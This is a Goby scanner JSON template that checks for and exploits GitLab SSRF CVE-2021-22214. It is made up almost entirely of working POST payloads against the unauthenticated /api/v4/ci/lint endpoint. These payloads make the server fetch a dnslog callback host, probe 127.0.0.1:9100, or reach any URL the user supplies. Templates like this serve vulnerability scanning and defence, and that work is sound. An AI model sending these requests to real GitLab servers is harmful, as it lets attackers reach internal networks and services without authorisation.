Goby/json/GitLab_SSRF_CVE_2021_22214....

147 lines
6.2 KiB
JSON

{
"Name": "GitLab SSRF CVE-2021-22214",
"Level": "3",
"Tags": [
"SSRF"
],
"GobyQuery": "app=\"GitLab\"",
"Description": "GitLab is The DevOps Platform.",
"Product": "GitLab",
"Homepage": "https://about.gitlab.com/",
"Author": "",
"Impact": "When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.",
"Recommendation": "",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-22214",
"https://nvd.nist.gov/vuln/detail/CVE-2021-39935",
"https://nvd.nist.gov/vuln/detail/CVE-2021-22175",
"https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html",
"https://docs.gitlab.com/ee/api/lint.html"
],
"HasExp": true,
"ExpParams": [
{
"Name": "URL",
"Type": "input",
"Value": "test.dnslog.cn"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/v4/ci/lint",
"follow_redirect": false,
"header": {
"Content-Type": "application/json",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
},
"data_type": "text",
"data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n remote: http://test.dnslog.cn/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test.dnslog.cn",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/api/v4/ci/lint?include_merged_yaml=true",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"content\": \"include:\\n remote: http://127.0.0.1:9100/test.yml\"}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "does not have valid YAML syntax",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/api/v4/ci/lint",
"follow_redirect": false,
"header": {
"Content-Type": "application/json",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
},
"data_type": "text",
"data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n remote: http://{{{URL}}}/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test.dnslog.cn",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
}